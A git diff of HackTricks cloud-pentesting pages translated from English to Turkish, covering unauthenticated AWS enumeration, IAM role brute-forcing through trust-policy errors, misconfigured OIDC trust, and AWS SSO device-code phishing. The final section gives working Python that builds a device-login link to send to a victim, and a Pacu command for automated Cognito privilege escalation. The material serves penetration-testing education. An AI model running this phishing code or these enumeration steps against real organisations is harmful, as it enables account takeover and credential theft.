Kimlik Havuzunun kimlik doğrulama yapılmış IAM erişim rolüne** **erişim** verebilir. [**Bunu nasıl yapacağınızı buradan kontrol edin**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Pentesting ve enum için Pacu modülleri -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının enum'lanmasını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özelliklerini vb. işaret eden "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel özelliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştirir. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Kullanım +Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi için kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek `cognito__attack` kullanımı: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Cognito\_\_enum kullanımına örnek, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..5461f865c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,15 +1,9 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Genel URL şablonu ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..e6552bcf4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - DynamoDB Yetkisiz Erişim {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +DynamoDB ile iletişim kuran bir uygulamada tüm AWS'ye veya bazı ele geçirilmiş dış AWS hesaplarına erişim sağlamak ya da bazı SQL enjeksiyonları dışında, DynamoDB'den AWS hesaplarına erişim sağlamak için başka seçenekler bilmiyorum. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..5eb50b707 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,18 +1,18 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 ve İlgili Hizmetler -Check in this page more information about this: +Bu sayfada daha fazla bilgi kontrol edin: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Genel Portlar -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +**Sanal makinelerin herhangi bir portunu internete açmak** mümkündür. Açık olan portta **ne çalıştığına** bağlı olarak bir saldırgan bunu kötüye kullanabilir. #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### Genel AMI'ler ve EBS Anlık Görüntüleri +AWS, **herkese AMI'leri ve Anlık Görüntüleri indirme erişimi verme** imkanı tanır. Bu kaynakları kendi hesabınızdan çok kolay bir şekilde listeleyebilirsiniz: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Eğer herkes tarafından geri yüklenebilir bir anlık görüntü bulursanız, anlık görüntüyü indirme ve yağmalama talimatları için [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) sayfasını kontrol ettiğinizden emin olun. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Kamuya Açık URL şablonu ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Genel IP ile EC2 örneklerini listele ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..a4b70eff3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,38 +1,30 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### Kamu kayıt defteri depoları (görüntüler) +ECS Enum bölümünde belirtildiği gibi, bir kamu kayıt defteri **herkes tarafından erişilebilir** ve **`public.ecr.aws//`** formatını kullanır. Bir saldırgan bir kamu deposu URL'sini bulursa, **görüntüyü indirebilir ve meta verilerde ve görüntünün içeriğinde hassas bilgileri arayabilir.** ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> Bu, **özel kayıt defterlerinde** de gerçekleşebilir; burada bir kayıt defteri politikası veya bir depo politikası **örneğin `"AWS": "*"`** erişim izni veriyor olabilir. Bir AWS hesabına sahip olan herkes o depoya erişebilir. -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### Özel Depoyu Listele +[**skopeo**](https://github.com/containers/skopeo) ve [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) araçları, özel bir kayıt defteri içindeki erişilebilir depoları listelemek için kullanılabilir. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..148568a1b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,19 +1,18 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### ECS Hizmetleri için Kamuya Açık Erişilebilir Güvenlik Grubu veya Yük Dengeleyici +**İnternetten gelen trafiğe (0.0.0.0/0 veya ::/0)** izin veren yanlış yapılandırılmış bir güvenlik grubu, AWS kaynaklarını saldırılara maruz bırakabilir. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..cf11271da 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -1,41 +1,35 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum +# AWS - Elastic Beanstalk Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Web zafiyeti -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Beanstalk ortamlarının varsayılan olarak **Metadatav1 devre dışı** olduğunu unutmayın. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Beanstalk web sayfalarının formatı **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Güvensiz Güvenlik Grubu Kuralları -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Yanlış yapılandırılmış güvenlik grubu kuralları Elastic Beanstalk örneklerini halka açabilir. **Herhangi bir IP adresinden (0.0.0.0/0) hassas portlarda trafik iznine sahip aşırı izinli giriş kuralları, saldırganların örneğe erişimini sağlayabilir**. -### Publicly Accessible Load Balancer +### Halka Açık Erişilebilir Yük Dengeleyici -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Eğer bir Elastic Beanstalk ortamı bir yük dengeleyici kullanıyorsa ve yük dengeleyici halka açık erişim için yapılandırılmışsa, saldırganlar **yük dengeleyiciye doğrudan istek gönderebilir**. Bu, halka açık erişim için tasarlanmış web uygulamaları için bir sorun olmayabilir, ancak özel uygulamalar veya ortamlar için bir problem olabilir. -### Publicly Accessible S3 Buckets +### Halka Açık Erişilebilir S3 Bucket'ları -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Elastic Beanstalk uygulamaları genellikle dağıtım öncesinde S3 bucket'larında saklanır. Eğer uygulamayı içeren S3 bucket'ı halka açık erişilebilir durumdaysa, bir saldırgan **uygulama kodunu indirebilir ve zafiyetler veya hassas bilgiler arayabilir**. +### Halka Açık Ortamları Listele ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..9c3eb3fbe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -1,16 +1,10 @@ -# AWS - Elasticsearch Unauthenticated Enum +# AWS - Elasticsearch Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Genel URL şablonu ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..3de9cd642 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,180 +1,162 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## Bir hesapta Rolleri ve Kullanıcı Adlarını Enum Et -### ~~Assume Role Brute-Force~~ +### ~~Rolü Varsayılan Kaba Güç~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **Bu teknik artık çalışmıyor** çünkü rol var olsa da olmasa da her zaman bu hatayı alırsınız: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> Bunu **test edebilirsiniz**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +Gerekli izinler olmadan **bir rolü varsayılamaya çalışmak**, bir AWS hata mesajı tetikler. Örneğin, yetkisizseniz, AWS şunları döndürebilir: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +Bu mesaj, rolün varlığını onaylar ancak onun üstlenme rolü politikasının sizin üstlenmenize izin vermediğini belirtir. Aksine, **var olmayan bir rolü üstlenmeye çalışmak farklı bir hataya yol açar**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +İlginç bir şekilde, **mevcut ve mevcut olmayan roller arasında ayırt etme** yöntemi, farklı AWS hesapları arasında bile geçerlidir. Geçerli bir AWS hesap kimliği ve hedeflenen bir kelime listesi ile, hesapta bulunan rolleri herhangi bir iç sınırlama ile karşılaşmadan listeleyebilirsiniz. -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Bu sorunu kötüye kullanarak potansiyel ilkeleri listelemek için bu [scripti kullanabilirsiniz](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum). -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### Güven Politikaları: Brute-Force Çapraz Hesap rolleri ve kullanıcıları -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Bir **IAM rolünün güven politikasını yapılandırmak veya güncellemek, o rolü üstlenmesine izin verilen AWS kaynaklarını veya hizmetlerini tanımlamayı içerir** ve geçici kimlik bilgileri alır. Politika içindeki belirtilen kaynak **varsa**, güven politikası **başarıyla** kaydedilir. Ancak, kaynak **yoksa**, geçersiz bir ilke sağlandığını belirten bir **hata üretilir**. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> O kaynakta bir çapraz hesap rolü veya kullanıcı belirtebileceğinizi unutmayın: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +Bu bir politika örneğidir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +Bu, **var olmayan bir rol** kullanırsanız bulacağınız **hata**dır. Eğer rol **varsa**, politika **hatasız** bir şekilde **kaydedilecektir**. (Hata güncelleme içindir, ancak oluştururken de çalışır) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Bu süreci [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) ile otomatikleştirebilirsiniz. - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +[Pacu](https://github.com/RhinoSecurityLabs/pacu) kullanarak: - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- Örnekte kullanılan `admin` rolü, pacu tarafından **taklit edilmek üzere hesabınızdaki bir roldür** ve ihtiyaç duyduğu politikaları oluşturmak için gereklidir. ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +Rol kötü yapılandırılmışsa ve herkesin onu üstlenmesine izin veriyorsa: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +Saldırgan bunu varsayabilir. -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## Üçüncü Taraf OIDC Federasyonu +Bir **Github Actions iş akışı** okuyabildiğinizi hayal edin, bu iş akışı **AWS** içindeki bir **role** erişiyor.\ +Bu güven, aşağıdaki **güven politikası** ile bir role erişim sağlayabilir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Bu güven politikası doğru olabilir, ancak **daha fazla koşulun olmaması** buna güvenmemeniz gerektiğini göstermelidir.\ +Bu, önceki rolün **Github Actions'tan HERHANGİ BİRİ** tarafından üstlenilebileceği anlamına gelir! Koşullarda ayrıca org adı, repo adı, env, brach gibi diğer şeyleri de belirtmelisiniz... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Bir diğer potansiyel yanlış yapılandırma, aşağıdaki gibi bir **koşul eklemektir**: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` +Not edin ki **wildcard** (\*) **noktalama işareti** (:) öncesinde. **org_name1** gibi bir org oluşturabilir ve bir Github Action'dan **rolü üstlenebilirsiniz**. -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. - -## References +## Referanslar - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..7996aadf2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -2,35 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## AWS Cihaz Kodu Phishing -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Başlangıçta [**bu blog yazısında**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) önerilen, AWS SSO kullanarak bir **bağlantı** göndermek mümkündür; eğer **kullanıcı kabul ederse**, saldırgan **kullanıcıyı taklit etmek için bir token** alabilir ve kullanıcının **Identity Center**'da erişebileceği tüm rollere erişim sağlayabilir. -In order to perform this attack the requisites are: +Bu saldırıyı gerçekleştirmek için gereksinimler şunlardır: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- Kurbanın **Identity Center** kullanması gerekir +- Saldırgan, kurbanın kullandığı **alt alan adını** bilmelidir `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Sadece önceki bilgilerle, **saldırgan kullanıcıya bir bağlantı gönderebilir**; eğer **kabul edilirse**, bu **saldırgana AWS kullanıcı** hesabına erişim sağlayacaktır. -### Attack +### Saldırı -1. **Finding the subdomain** +1. **Alt alan adını bulma** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +Saldırganın ilk adımı, kurban şirketinin Identity Center'da kullandığı alt alan adını bulmaktır. Bu, **OSINT** veya **tahmin + BF** ile yapılabilir, çünkü çoğu şirket burada adını veya adının bir varyasyonunu kullanacaktır. +Bu bilgiyle, Identity Center'ın yapılandırıldığı bölgeyi almak mümkündür: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **Kurban için bağlantıyı oluşturun ve gönderin** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Kurbanın kimlik doğrulaması yapabilmesi için bir AWS SSO giriş bağlantısı oluşturmak üzere aşağıdaki kodu çalıştırın.\ +Demo için, bu kodu bir python konsolunda çalıştırın ve çıkmayın çünkü daha sonra token almak için bazı nesnelere ihtiyacınız olacak: ```python import boto3 @@ -39,82 +36,77 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +Gönderilen bağlantıyı kurbanın sosyal mühendislik becerilerinizi kullanarak iletin! -Send the generated link to the victim using you awesome social engineering skills! +3. **Kurbanın kabul etmesini bekleyin** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: 